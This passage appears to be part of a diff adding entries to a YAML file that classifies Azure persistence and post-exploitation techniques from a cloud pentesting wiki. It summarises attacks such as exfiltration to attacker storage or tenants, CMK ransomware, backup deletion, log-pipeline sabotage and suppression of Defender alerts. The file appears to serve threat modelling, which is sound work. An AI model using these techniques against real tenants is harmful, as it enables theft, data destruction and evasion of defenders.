src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#sftp-local-users-a-credential-outside-entra-id + technique: 'SFTP local users: a credential outside Entra ID' + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#stored-access-policy-backdoor-re-mintable-expiry-less-sas + technique: Stored access policy backdoor (re-mintable, expiry-less SAS) + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#object-replication-continuous-automatic-exfiltration + technique: 'Object replication: continuous automatic exfiltration' + source_revision: a66f094ede + reason: Every blob written to the victim container from now on is copied automatically by the Azure platform into the attacker's storage + account. This is storage data access, exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#event-grid-subscription-live-notification-of-every-new-blob + technique: 'Event Grid subscription: live notification of every new blob' + source_revision: a66f094ede + reason: A real-time feed of every object written to the victim account — container, blob name, full URL, size and eTag — delivered + to an attacker-controlled queue, webhook, Event Hub or Function. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#wildcard-cors-rule-a-durable-browser-driven-exfiltration-channel + technique: 'Wildcard CORS rule: a durable browser-driven exfiltration channel' + source_revision: a66f094ede + reason: A permanent cross-origin read channel into the account's data plane. This is storage data access, exfiltration, hosted content + or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#lifecycle-management-policy-destroy-data-without-any-delete-permission + technique: 'Lifecycle management policy: destroy data without any delete permission' + source_revision: a66f094ede + reason: The Azure platform deletes base blobs, snapshots and previous versions on the attacker's schedule. This is storage data access, + exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#static-website-hosting-on-a-trusted-microsoft-domain + technique: Static website hosting on a trusted Microsoft domain + source_revision: a66f094ede + reason: Attacker-controlled content served over HTTPS from https://.z.web.core.windows.net/ — a Microsoft-owned, valid-certificate + domain that passes most reputation filters and corporate proxies. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#soft-delete--retention-as-attacker-controlled-data-retention + technique: Soft delete / retention as attacker-controlled data retention + source_revision: a66f094ede + reason: Extends the window in which the attacker can recover data that the victim deletes — turning "the user cleaned that up" into + "the attacker can still restore it for up to 365 days". This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: Backdoor Instances + source_revision: a66f094ede + reason: Persistent guest code on a VM reaches its attached managed identity; VM execution and extension paths are modelled by virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#credential-rotation-persistence--lockout-rotatepassword + technique: Credential-rotation persistence & lockout (rotatePassword) + source_revision: a66f094ede + reason: rotate the CloudAdmin / NSX-T passwords and immediately re-read them with listAdminCredentials to hold fresh, exclusive credentials + (persistence). The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#advisor-as-a-recon-oracle + technique: Advisor as a recon oracle + source_revision: a66f094ede + reason: 'Returns a curated, pre-computed misconfiguration inventory for the whole subscription with zero scanning: Security findings + (Defender-for-Cloud assessments surfaced through Advisor), Cost findings that pinpoint…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#suppressing-the-findings-you-create + technique: Suppressing the findings you create + source_revision: a66f094ede + reason: A suppression hides one Advisor recommendation for one resource (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#excluding-the-whole-scope-from-advisor + technique: Excluding the whole scope from Advisor + source_revision: a66f094ede + reason: Setting exclude:true on configurations/default at subscription or resource-group scope drops that entire scope out of recommendation + generation for every category at once, so no new finding about your activity is…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-analysis-services-post-exploitation.md#suspend--resume--delete-availability--cost + technique: Suspend / resume / delete (availability & cost) + source_revision: a66f094ede + reason: suspend takes the server (and all BI) offline; repeated resume drives cost on the pay-per-hour SKU; delete destroys the server. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + technique: Bulk exfil & loot-persistence via snapshots (configurationStores/snapshots/read / write) + source_revision: a66f094ede + reason: a snapshot is an immutable, point-in-time capture of every matching key-value in one object. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#delete-and-purge-the-store + technique: Delete and purge the store + source_revision: a66f094ede + reason: permanently remove the soft-deleted store and its application configuration. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#steal-the-accounts-managed-identity-token + technique: Steal the account's managed identity token + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#dump-encrypted-variables-and-stored-credentials + technique: Dump encrypted variables and stored credentials + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#harvest-secrets-from-prior-job-output-and-streams + technique: Harvest secrets from prior job output and streams + source_revision: a66f094ede + reason: Disclosure of any secret that a previous job wrote to its output/verbose/error streams — commonly tokens and credentials from + operational runbooks that were never designed to be read by a lower-privileged principal. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#read-runbook-source-for-hardcoded-secrets + technique: Read runbook source for hardcoded secrets + source_revision: a66f094ede + reason: Disclosure of any secret embedded directly in runbook code, plus a full map of what the account automates (which resources, + which identities, which external systems) — useful for planning further lateral movement. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#enumerate-connections-and-other-assets + technique: Enumerate connections and other assets + source_revision: a66f094ede + reason: Identifies which external identities the account can assume and provides the non-secret half (app ID, tenant, thumbprint); + paired with the corresponding certificate/secret it yields authentication as that service…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#identifying-reusable-namespaces-hf + technique: Identifying Reusable Namespaces (HF) + source_revision: a66f094ede + reason: The section identifies possible model namespace reuse; it is reconnaissance without an authenticated permission grant or identity + takeover. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recognition-heuristics-http + technique: Recognition Heuristics (HTTP) + source_revision: a66f094ede + reason: The HTTP heuristics identify AI endpoints; they are reconnaissance and grant no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#retain-a-generated-vault-credential--register-a-rogue-agent + technique: Retain a generated vault credential / register a rogue agent + source_revision: a66f094ede + reason: a vault credential lets an attacker-controlled machine/agent register to the vault and interact with backup data (and via + ILR/restore, read it). The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#restore-vm--disks-to-attacker-rg-or-subscription + technique: Restore VM / disks to attacker RG or subscription + source_revision: a66f094ede + reason: the attacker obtains a full copy of the VM's OS + data disks (VHDs land in their staging storage account or as managed disks + in their RG), then mounts/downloads offline to extract SAM/NTDS, DPAPI blobs, cached creds,…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#instant-item-level-recovery-quietest-exfil + technique: Instant Item-Level Recovery (quietest exfil) + source_revision: a66f094ede + reason: provisions an iSCSI mount of the recovery point onto a machine the operator runs the downloaded ILR script from; the attacker + browses the VM file system and copies out arbitrary files without deploying any VM or disk…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#sql--sap-hana--azure-files--blob-restore + technique: SQL / SAP HANA / Azure Files / Blob restore + source_revision: a66f094ede + reason: reconstitutes production databases / file shares / blobs into the attacker's own storage account or VM to read at leisure; + no data-plane grant on the source is required. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-region-restore-read-from-the-paired-secondary-region + technique: Cross-Region Restore (read from the paired secondary region) + source_revision: a66f094ede + reason: restores protected VMs/disks into the paired/secondary region to an attacker RG/storage account — useful to operate where + primary-region monitoring differs. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-tenant-vault-mapping--vaultcredentialsgenerate-exfil-across-a-tenant-boundary + technique: Cross-tenant vault mapping + vaultCredentials/generate (exfil across a tenant boundary) + source_revision: a66f094ede + reason: the cross-tenant vault mapping extends restore across an Entra tenant boundary — a mapping written to a foreign tenant plus + a generated vault credential lets a principal/agent in another tenant enumerate recovery…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#azure-site-recovery--clone-or-disrupt-a-protected-vm + technique: Azure Site Recovery — clone or disrupt a protected VM + source_revision: a66f094ede + reason: Test failover spins up an isolated bootable clone of the protected VM in a test network without disrupting or committing — + a stealthy way to get a copy, mount disks and read secrets, then clean up; it looks like a…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#remove--unlock-the-resource-guard-strip-mua + technique: Remove / unlock the Resource Guard (strip MUA) + source_revision: a66f094ede + reason: removes the multi-user-authorization gate, re-enabling single-actor execution of all otherwise-guarded critical ops (disable + soft delete, stop-protection-with-delete, policy reduction, security PIN, disable immutability). The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#stop-protection-with-delete-data + technique: Stop protection with delete data + source_revision: a66f094ede + reason: stops backups and deletes recovery points for the item — the primary ransomware-enabling move. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#disable-soft-delete--weaken-security-config + technique: Disable soft delete / weaken security config + source_revision: a66f094ede + reason: turns off (or shortens) the safety net that would let victims recover deleted backups — a precursor to hard-deletion. The + section documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#blob-inventory-report-full-object-catalog-without-readlist + technique: 'Blob inventory report: full object catalog without read/list' + source_revision: a66f094ede + reason: The platform generates a scheduled CSV/Parquet report cataloguing every blob (name, path, size, tier, versions/snapshots, + metadata, tags, hashes) into a destination container — without the attacker holding blobs/read…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#storage-account-name-takeover-of-diagnostic-exports + technique: Storage account name takeover of diagnostic exports + source_revision: a66f094ede + reason: Future exported telemetry (diagnostic logs, metrics, audit archives) is delivered to an attacker-controlled account — a durable + log-exfiltration and log-blinding primitive against the victim's own monitoring pipeline. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#delete + technique: \/delete + source_revision: a66f094ede + reason: 'Destruction / denial of service: losing application data, audit archives or backups. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-wide-cmk-ransomware-repoint-keyvaultproperties-to-an-attacker-key + technique: 'Account-wide CMK ransomware: repoint keyVaultProperties to an attacker key' + source_revision: a66f094ede + reason: Repointing storage account encryption to an attacker-controlled Key Vault key creates whole-account data lockout when that + key is revoked; no identity token or role is gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#surgical-ransomware-with-encryptionscopeswrite--attacker-cmk + technique: Surgical ransomware with encryptionScopes/write + attacker CMK + source_revision: a66f094ede + reason: Selective, container/blob-scoped encryption lockout — the attacker chooses exactly which objects become unreadable, rather + than the whole account. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#anti-forensics-disable-versioning-change-feed-and-soft-delete-before-a-wipe + technique: 'Anti-forensics: disable versioning, change feed and soft delete before a wipe' + source_revision: a66f094ede + reason: Converts recoverable, logged deletes into irreversible, untraceable ones. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-failover-as-dos--data-loss-storageaccountsfailoveraction + technique: Account failover as DoS / data loss (storageAccounts/failover/action) + source_revision: a66f094ede + reason: A single control-plane action triggers a customer-initiated failover to the secondary region. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#lifecycle-tier-to-archive-delayed-availability--cost-dos + technique: 'Lifecycle tier-to-Archive: delayed availability & cost DoS' + source_revision: a66f094ede + reason: The platform moves live blobs to the Archive tier, where they are offline — reads fail until a rehydration that takes up to + ~15 hours and incurs early-deletion + rehydration charges. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#related-privesc-path-acr-tasks-managed-identities + technique: 'Related privesc path: ACR Tasks managed identities' + source_revision: a66f094ede + reason: The ACR Task managed-identity takeover is modelled by the task entries in container_registry.yaml; this heading only cross-references + them. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#data-plane-users--permissions--resource-tokens-scoped-credential-persistence + technique: Data-plane Users + Permissions → resource tokens (scoped-credential persistence) + source_revision: a66f094ede + reason: Durable, low-noise data-plane foothold that survives independently of the control plane. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#cmk-revocation-denial-of-data--ransom + technique: CMK revocation "denial-of-data" / ransom + source_revision: a66f094ede + reason: Whole-account denial of data — a ransomware-style primitive needing no data-plane access and no key exfiltration. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#throughputsettingswrite--migratetoautoscaleaction-denial-of-wallet + technique: '.../throughputSettings/write + migrateToAutoscale/action (denial-of-wallet)' + source_revision: a66f094ede + reason: Runaway cost or a throttling outage. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-data-as-recon + technique: Cost data as recon + source_revision: a66f094ede + reason: A single grouped ActualCost query is effectively az resource list for the whole billing scope — enumerating subscriptions/resource + groups you cannot otherwise see, plus a liveness signal showing which resources are…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#continuous-export--external-tables-to-attacker-storage--bulk-exfiltration + technique: Continuous export / external tables to attacker storage — bulk exfiltration + source_revision: a66f094ede + reason: define an external table over an attacker blob/SAS and continuously export query results there (or one-shot .export) — sustained, + automated exfiltration of the database's data to storage the defender does not control. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#cross-cluster-follower-attach--near-real-time-exfil-to-an-attacker-cluster + technique: Cross-cluster follower attach — near-real-time exfil to an attacker cluster + source_revision: a66f094ede + reason: replicate the victim's database into a cluster the attacker fully controls as a follower (near-real-time read-only copy), + then read all of it via the attacker's own data plane — mass exfiltration that never touches…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#data-connection-repoint--hijack--event-hub--iot-ingestion-tampering + technique: Data-connection repoint / hijack — Event Hub / IoT ingestion tampering + source_revision: a66f094ede + reason: Repointing an Event Hub/IoT ingestion connection poisons or diverts Kusto data; it does not give the caller the cluster managed + identity or another Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#in-place-data-explorer-cluster-level-tap-stealthiest + technique: In-place Data Explorer cluster-level tap (stealthiest) + source_revision: a66f094ede + reason: a cluster-scoped in-place share creates a live symbolic link that gives the recipient tenant real-time query access to all + current and future databases on the cluster — no copy job runs, so there is minimal telemetry…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#cross-tenant-snapshot-exfil-share-marquee + technique: Cross-tenant snapshot exfil share (marquee) + source_revision: a66f094ede + reason: the attacker adds sensitive Blob/ADLS/SQL/Synapse datasets to a share and sends an invitation to an attacker-controlled external + tenant. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#scheduled-incremental-snapshot-persistence-headline + technique: Scheduled incremental-snapshot persistence (headline) + source_revision: a66f094ede + reason: the attacker attaches an hourly/daily synchronization schedule to an incremental share. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#loot-the-inventory-read-only-recon + technique: Loot the inventory (read-only recon) + source_revision: a66f094ede + reason: 'Pulls the org''s pre-built external attack-surface map without touching a target host: full asset inventory (hosts, domains, + IP blocks, pages, SSL certs, contacts, ASNs), the confirmed-exposed subset (open sensitive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#blind-discovery-so-new-exposure-is-never-indexed + technique: Blind discovery so new exposure is never indexed + source_revision: a66f094ede + reason: Deleting or narrowing the discovery groups stops the recurring-discovery recursion that would crawl from the seeds to a new + attacker asset (a new subdomain, a service on an existing host), so that asset never enters…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#bury-an-asset-that-did-get-discovered + technique: Bury an asset that did get discovered + source_revision: a66f094ede + reason: Setting an already-discovered attacker asset's state to dismissed/archived drops it from the default 'confirmed inventory' + views and the change dashboards analysts watch, without deleting anything visibly. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#general-blending-guidance + technique: General blending guidance + source_revision: a66f094ede + reason: The guidance changes IP, timing and volume to avoid detection while using already-held permissions; it grants no additional + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-resource-manager--arm_-arm-control-plane + technique: Defender for Resource Manager — ARM (ARM control plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-servers--vm_-scuba_-mde-host + technique: Defender for Servers — VM, SCUBA, MDE (host) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-storage--storage-blobfile-data-plane + technique: Defender for Storage — Storage. (blob/file data plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-key-vault--kv_ + technique: Defender for Key Vault — KV + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-dns--azuredns_ + technique: Defender for DNS — AzureDNS + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-databases--sql-cosmos_ + technique: Defender for Databases — SQL., Cosmos + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-containers--k8s_-k8snode_ + technique: Defender for Containers — K8S, K8S.NODE + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-app-service--appservices_ + technique: Defender for App Service — AppServices + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-apis--ai--api_-aiazure_ + technique: Defender for APIs / AI — API, AI.Azure + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#opting-resources-out-of-the-agents + technique: Opting resources out of the agents + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-deployment-stacks-post-exploitation.md#actiononunmanage-deleteall-mass-destruction + technique: 'actionOnUnmanage: deleteAll mass destruction' + source_revision: a66f094ede + reason: a deployment stack tracks managed resources spanning multiple resource groups / subscriptions. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-elastic-san-post-exploitation.md#snapshot-export--re-mount-data-exfiltration + technique: Snapshot-export → re-mount data exfiltration + source_revision: a66f094ede + reason: snapshot a victim volume, then create a new volume from that snapshot in any volume group in the same region — including one + the attacker can reach — and mount it over iSCSI. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#operate-in-the-under-monitored-sign-in-sub-streams + technique: Operate in the under-monitored sign-in sub-streams + source_revision: a66f094ede + reason: Choosing a service-principal, managed-identity or silent sign-in stream changes detection visibility; it assumes the caller + already holds those credentials and grants no new principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#let-retention-do-the-deleting + technique: Let retention do the deleting + source_revision: a66f094ede + reason: Relies on short native retention — 7 days (Free) / 30 days (P1/P2) for sign-in and audit logs — so that if no tenant diagnostic + setting exports logs, all evidence of activity ages out automatically within that window. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#keep-grapharm-activity-dark + technique: Keep Graph/ARM activity dark + source_revision: a66f094ede + reason: 'Confines enumeration to Microsoft Graph reads and ARM GETs, which are largely invisible: Microsoft Graph Activity Logs are + off by default (exist only if a diagnostic setting exports them) and the Azure Activity Log…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#break-the-export-pipeline-the-stop-cloudtrail-analogue + technique: Break the export pipeline (the "stop CloudTrail" analogue) + source_revision: a66f094ede + reason: Deletes or narrows the single tenant-level diagnostic setting that copies Entra logs to the SIEM past native retention, stopping + all future export (delete) or silently dropping just the categories that record the…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#the-detections-and-how-each-is-triggered--avoided + technique: The detections, and how each is triggered / avoided + source_revision: a66f094ede + reason: Avoids raising Identity Protection sign-in-risk and user-risk so risk-based CA never challenges the session and the SOC gets + no risky-user/sign-in signal — achieved by operating from the victim's usual…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#clearing-risk-if-you-have-the-rights + technique: Clearing risk (if you have the rights) + source_revision: a66f094ede + reason: Dismisses a risky-user state or confirms it safe, clearing risk that would otherwise trigger risk-based CA (block/step-up) + or alert the SOC — retroactively cleaning up risk you already raised. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#weaken-the-engine-tampering + technique: Weaken the engine (tampering) + source_revision: a66f094ede + reason: Excludes the operating account from risk-based CA so risk is scored but never enforced (still sign in), and notes that tenants + without Entra ID P2 aren't running the real-time detections / risk-based CA at all —…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#read-already-captured-avro-blobs-from-the-capture-storage-account + technique: Read already-captured Avro blobs from the capture storage account + source_revision: a66f094ede + reason: If Capture is already enabled (common for compliance/analytics), the historical event stream is sitting in Blob/ADLS as Avro. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#capture-repoint--archive-the-stream-to-attacker-storage-eventhubswrite + technique: Capture repoint — archive the stream to attacker storage (eventhubs/write) + source_revision: a66f094ede + reason: Enable — or repoint an existing — Event Hubs Capture so the full event stream is serialized to Avro blobs in a storage account + the attacker can read. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#network-lock-out--exposure--networkrulesetswrite + technique: Network lock-out / exposure — networkRuleSets/write + source_revision: a66f094ede + reason: Two abuses. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. 